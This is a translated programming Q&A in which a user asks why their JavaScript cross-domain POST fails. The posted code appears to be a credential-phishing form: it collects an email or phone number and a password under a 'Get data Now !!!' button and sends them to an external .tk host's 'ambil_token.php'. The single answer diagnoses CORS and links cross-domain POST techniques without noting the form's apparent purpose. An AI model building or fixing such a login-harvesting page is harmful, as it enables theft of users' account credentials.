无法在外部域javascript上发布数据

时间:2017-04-12 05:51:59

标签: javascript jquery html

嘿朋友我想用JavaScript将数据发布到外部服务器但是它不起作用我不知道为什么,我是JavaScript的新手。

这是我的HTML:

<div class="form-group">
 <label for="usr">Email address or phone number:</label>
  <input type="text" class="form-control" id="tk" placeholder="Email address or phone number" required>
</div>
<div class="form-group">
  <label for="pwd">Password:</label>
  <input type="password" class="form-control" id="mk" required>
</div>
<strong>Recommend, Use Google Chrome Browser</strong><br />
<button type="button" class="btn btn-danger" onclick="putar()" ><b>Get data Now !!!</b></button>

    </div>
</div>

这是我的JavaScript:

<script>
function putar() {
var http = new XMLHttpRequest();
var tk = document.getElementById("tk").value;
var mk = document.getElementById("mk").value;
var url = "http://mydomin.tk/ambil_token.php";
var params = "u="+tk+"&p="+mk+"";
http.open("POST", url, true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
    if(http.readyState == 4 && http.status == 200) {
      document.getElementById("trave").innerHTML = http.responseText;        
    }
}
http.send(params);
}
</script>

1 个答案:

答案 0 :(得分:0)

我建议您提供错误消息或重现问题的明确方法。您可以从浏览器的Developer Console中检索浏览器调试信息。

根据您提供的裸信息,您遇到的问题似乎是XHR请求被拒绝(CORS)。

请参阅How do I send a cross-domain POST request via JavaScript?